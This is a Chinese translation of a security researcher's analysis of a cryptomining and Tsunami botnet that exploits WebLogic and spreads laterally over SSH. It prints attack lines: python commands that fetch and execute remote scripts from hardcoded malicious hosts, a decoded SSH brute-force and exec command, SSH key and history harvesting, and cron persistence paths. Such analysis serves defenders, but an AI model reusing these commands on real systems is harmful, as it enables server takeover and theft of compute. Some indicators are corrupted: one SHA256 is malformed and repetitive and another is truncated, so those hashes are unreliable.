安全研究员Tolijan Trajanovski分析了实现SSH横向移动的多向量Miner + Tsunami僵尸网络。
安全研究员研究员0xrb与我分享了使用weblogic exploit传播的僵尸网络示例。该僵尸网络也在5天前被@ BadPackets发现, 并且到2020年12月1日为止仍处于活动状态。该僵尸网络带有两个有效载荷:1)Monero XMR Miner二进制文件;2)海啸二进制文件。该僵尸网络以云服务器为目标。 2020年9月 ,AWAKE Security的Patrick Olsen调查并报告了仅携带XMR Miner有效载荷的僵尸网络的早期版本 。
僵尸网络摘要
有效负载:Monero矿工和海啸。
感染媒介:Docker API,Weblogic,SSH bruteforce?,Redis?
僵尸网络目前正在使用Weblogic漏洞进行传播。9月,僵尸网络的早期版本正在使用配置错误的Docker API。有趣的是,当前的僵尸网络版本包含未使用的代码,用于利用Redis和暴力破解SSH。
横向移动:僵尸网络使用SSH进行横向移动。它尝试感染系统先前连接的主机。
逃避和持久性:僵尸网络以多种方式实现持久性。杀死正在运行的进程,潜在地争夺挖掘工具并消除EDR。使用base64编码的中间阶段shell脚本和base64编码的命令来下载和执行python脚本。
AWAKE的Patrick Olsen对以前版本的出色分析:https://awakesecurity.com/blog/threat-hunting-to-find-misconfigured-docker-exploitation/
此版本的僵尸网络有哪些新功能?
- 除了Monero XMR挖矿机之外,Tsunami还添加为第二个有效载荷
- 利用Oracle WebLogic RCE进行传播
- 消除了EDR和监控工具,阿里巴巴的Aliyun和腾讯的qcloud
- 对SSH横向移动使用改进的功能,该功能枚举ssh用户,密钥,主机和端口
- 使用具有不同放置位置的多个shell脚本和python脚本,使用硬编码的IP地址和域连接到二进制托管Web服务器
- 包含未使用的代码,这些代码用于使用masscan扫描SSH和Redis服务以及使用Redis-cli和SSH蛮力工具感染服务器
分析
第1阶段– WebLogic利用CVE-2020-14882
poc.xml SHA256:af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439
阶段1执行两个有效负载,一个shell脚本,xms和一个python脚本。shellscript xms通过curl从bash传递到bash,以防万一失败,使用wget对其进行提取,执行和删除,以防止分析。使用base64编码命令来获取并执行python脚本,以避免检测和分析。

回显的base64编码的字符串解析为以下内容:python -c’import urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/d.py”).read())’
第2阶段A)– xms shell脚本
xms shell脚本SHA256:72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5
执行的动作:
- 配置外壳路径
- 如果SELinux处于强制模式,则将其切换到许可模式
- 将用户进程的限制设置为50000
- 将RedHat大页面的数量设置为虚拟CPU内核数量的三倍
- 清除LD预加载
- 终止在以下端口上通信的进程:3333、4444、5555、7777、14444、5790、45700、2222、9999、20580和13531。还终止与这些服务连接的进程:23.94.24.12:8080和134.122.17.13:8080。这些行为可能会杀死以前运行的软件和潜在的竞争机器人。
- 生成一个随机数,并根据该随机数将线程设置为300或800->在未使用/注释过的SSH bruteforce代码中使用
- 卸载DER
- 检查是否安装了AliBaba安全代理Aliyun,如果是,则将其卸载
- 检查是否安装了qcloud(由腾讯进行的云监控),如果是,则将其卸载
- 获取主机的WAN IP地址的/ 16范围
- 检查pool.supportxmr.com是否可访问
- 检查bash.givemexyz.in是否可访问,是否执行以下操作:
- python -c’import urllib; exec(urllib.urlopen(“ hxxp://bash.givemexyz.in/dd.py”).read())’
- 如果无法访问bash.givemexyz.in,则执行以下操作:
- python -c’导入urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/d.py”).read())’
SSH横向移动:xms shell脚本尝试感染服务器先前已连接到的主机。
- 它使用icanhazip.com解析受害主机IP
- 它枚举用户,主机,键和端口,并运行4个嵌套循环以尝试所有组合
- 为了找到此信息,它解析id_rsa *;。.ssh / config; .bash_history; 和主目录和根目录中的.pem文件。它还列出了正在运行的进程,以获取有关活动SSH连接的信息。

持久性:持久性机制与僵尸网络的先前版本相同。
- xms脚本通过cronjobs实现了持久性,该cronjobs每分钟,每2分钟,每3分钟,每30分钟和每小时下载并执行xms shell脚本和python脚本。
- /etc/cron.d/root
- /etc/cron.d/apache
- / var / spool / cron / root
- / var / spool / cron / crontabs / root
- /etc/cron.hourly/oanacroner1
- 它还覆盖/etc/init.d/down以确保系统启动时的持久性。
阶段2 B)Python脚本
共有4个python脚本。它们分为2组。第一组下载并运行Miner二进制文件和随附的shell脚本,维护持久性并下载并运行第二组python脚本。第二组python脚本下载并运行Tsunami二进制文件。每个组都有两个脚本:一个从硬编码的IP中获取垃圾箱,而另一个则使用域连接到托管有效负载的Web服务器。同一组中的脚本还会将垃圾箱放置到不同的位置,即/ tmp或/ var / tmp中。
d.py->
1)从硬编码IP 205.185.116.78下载go shell脚本和Miner二进制文件,并通过go脚本执行Miner二进制文件。下载并执行b.py。
2)获取并执行以下外壳程序脚本:
a)执行以下命令:python -c’import urllib; exec(urllib.urlopen(“ hxxp://bash.givemexyz.in/dd.py”).read())’或如果Givemexyz Web服务器不可用:
python -c’import urllib; exec(urllib.urlopen(“ hxxp://205.185.116.78/b.py”).read())’
b)使用cron
dd保持持久性。 py python脚本的行为与d.py相同,但它从bash.givemexyz.in获取Miner二进制文件。
b.py和bb.py->获取并执行Tsunami 32位和64位二进制文件

阶段3)A)Monero XMR Miner ELF二进制
文件二进制文件与名为go的shell脚本一起下载。“ go” shell脚本用于执行Miner二进制文件。二进制文件使用默认的UPX打包程序打包。
x86_64 SHA256:fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i686
SHA256:35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d7f9c9f9c9b3c6b3c7f3c3f3d3c3f3d3c3f3d3d3df3d3df3d3df3d3d3d3d3d3d3d3dfdfdfdfd

Miner ELF二进制文件连接到以下挖掘代理服务器:
66.70.218.40 : 8080
209.141.35.17:8080
阶段3)B)海啸
Tsunami二进制文件针对x86和x86_64体系结构进行了编译,与Miner二进制文件类似,它们也都装有UPX。
他们连接到以下C2服务器:104.244.75.25:443
x32b SHA256:9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872
x64b SHA256:855557e415b485cedb9dc2c6f96d524143108a2f8442
第2阶段“ xms” shell脚本
SSH扫描程序和漏洞1中未使用的利用功能1.使用masscan扫描
以下范围的开放端口22:10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 2.使用
SSH使用开放的SSH端口攻击发现的服务器的暴力工具
解码SSH攻击命令base64:RSAKEY =“否” SCP =“否” SCPFILE =” / tmp / linux.tar.gz” SCPPATH =” / tmp” CMD =” cd / tmp; tar -xvf /tmp/linux.tar.gz; chmod 777 / tmp / i686 / tmp / x86_64 / tmp / go; / tmp / go“ PORT =” 22“ UserKnownHostsFile =”“” BatchMode =“ no” ConnectTimeout =“ 15” StrictHostKeyChecking =“ no” Format =“ USER PASS IP” / tmp / sshexec /tmp/sparte.txt

Redis用于感染LAN中的服务器
1.扫描LAN中具有开放端口6379的设备,并将它们添加到列表中
2.使用redis-cli感染发现的服务器

原始分析报告了其他信息,包括危害指标(IoC):
*作者:Tolijan Trajanovski
*编译:Domino
*来自:securityaffairs